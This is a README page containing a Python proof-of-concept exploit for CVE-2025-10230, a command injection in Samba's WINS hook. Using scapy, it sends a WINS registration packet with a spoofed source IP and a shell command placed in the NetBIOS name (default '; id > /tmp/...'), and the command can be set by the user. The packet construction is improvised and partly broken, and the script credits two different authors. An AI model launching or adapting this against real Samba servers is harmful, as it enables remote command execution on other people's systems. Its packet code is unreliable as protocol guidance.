README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: B1ack4sh ==> IRtmVR00ISVkJPN1GQEMZ1VtVFRu
"""
PoC for CVE-2025-10230 - Samba WINS Hook Command Injection
===========================================================
This script demonstrates the command injection vulnerability in Samba's WINS hook
handling when running as an AD Domain Controller with WINS support enabled.
Usage:
python3 CVE-2025-10230.py <target_ip> [--payload <cmd>] [--verbose]
Requirements:
- scapy (pip install scapy)
- Run as root/sudo for raw socket access
Vulnerability:
Unsanitized NetBIOS names in WINS registrations are passed to the 'wins hook'
script, allowing command injection via shell metacharacters.
Author: dptsec (based on Samba advisory)
License: For educational/testing purposes only.
⚠️ DO NOT USE ON PRODUCTION SYSTEMS!
"""
import argparse
import sys
from scapy.all import IP, UDP, send, Raw, sr1
from scapy.layers.inet import IP as IP_scapy
import socket
import struct
def craft_wins_registration_packet(nb_name: str, src_ip: str = "127.0.0.1", target_ip: str = None):
"""
Crafts a WINS Name Registration Request packet with injected NB name.
WINS Protocol (RFC 1002 compliant, simplified for registration).
OpCode: 0x0B (Register)
NB Name: Padded to 15 chars + null, but injection via trailing metachars.
"""
# Transaction ID (arbitrary)
transaction_id = struct.pack('>H', 0x1234)
# Flags: Standard query (0x0000), OpCode Register (0x0B in high bits, but simplified)
flags = struct.pack('>H', 0x000B) # B-node, Register
# Questions: 1
questions = struct.pack('>H', 1)
# Answer RRs: 0
answer_rrs = struct.pack('>H', 0)
# Authority RRs: 0
authority_rrs = struct.pack('>H', 0)
# Additional RRs: 0
additional_rrs = struct.pack('>H', 0)
# Header
header = transaction_id + flags + questions + answer_rrs + authority_rrs + additional_rrs
# Question Section: NetBIOS Name
# NB Name encoding: 18 chars of 0xC0 (labels) + length + name chars (0x41 base32-ish, but raw for injection)
# For vuln: Use raw string with shell chars – vuln doesn't validate.
nb_raw = nb_name.encode('ascii')[:15].ljust(15, b'\x00') # Truncate/pad to 15
nb_section = b'\xC0' * 2 + struct.pack('B', len(nb_raw)) + nb_raw + b'\x00' # Compressed pointer hack + name
# QType: NB (0x0020), QClass: IN (0x0001)
qtype = struct.pack('>H', 0x0020)
qclass = struct.pack('>H', 0x0001)
question = nb_section + qtype + qclass
# No answers for registration request
packet_payload = header + question
# Wrap in UDP/IP
ip_layer = IP_scapy(src=src_ip, dst=target_ip)
udp_layer = UDP(sport=137, dport=42) # NBNS src, WINS dst (UDP/42 for WINS)
full_packet = ip_layer / udp_layer / Raw(load=packet_payload)
return full_packet
def main():
parser = argparse.ArgumentParser(description="CVE-2025-10230 PoC - Samba WINS Injection")
parser.add_argument("target_ip", help="IP of vulnerable Samba AD DC")
parser.add_argument("--payload", default="; id > /tmp/injected_by_cve.txt 2>&1",
help="Shell command to inject (appended after fake NB name)")
parser.add_argument("--src_ip", default="192.168.1.100", help="Spoofed source IP in packet")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose Scapy output")
args = parser.parse_args()
# Construct malicious NB name: Fake + payload (keep NB part short)
fake_nb = "POC-" # Legit-looking prefix
malicious_name = fake_nb + args.payload[:10] # Truncate to fit ~15 char NB limit, but vuln allows overflow-ish
print(f"🔥 CVE-2025-10230 PoC Launching...")
print(f"🎯 Target: {args.target_ip} (UDP/42 - WINS)")
print(f"💉 Malicious NB Name: '{malicious_name}'")
print(f"📝 Expected on Target: Execution of '{args.payload}' via hook script")
print(f"🕵️ Post-exploit: Check target /tmp/injected_by_cve.txt or /var/log/samba/log.smbd")
print("-" * 60)
try:
pkt = craft_wins_registration_packet(malicious_name, args.src_ip, args.target_ip)
send(pkt, verbose=args.verbose, iface="eth0") # Adjust iface if needed
print("💥 Packet sent! If vulnerable, hook should fire. Monitor target logs/FS. 🚨")
except Exception as e:
print(f"❌ Error sending packet: {e}")
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: sudo python3 CVE-2025-10230.py <target_ip> [--payload ';cmd']")
sys.exit(1)
main()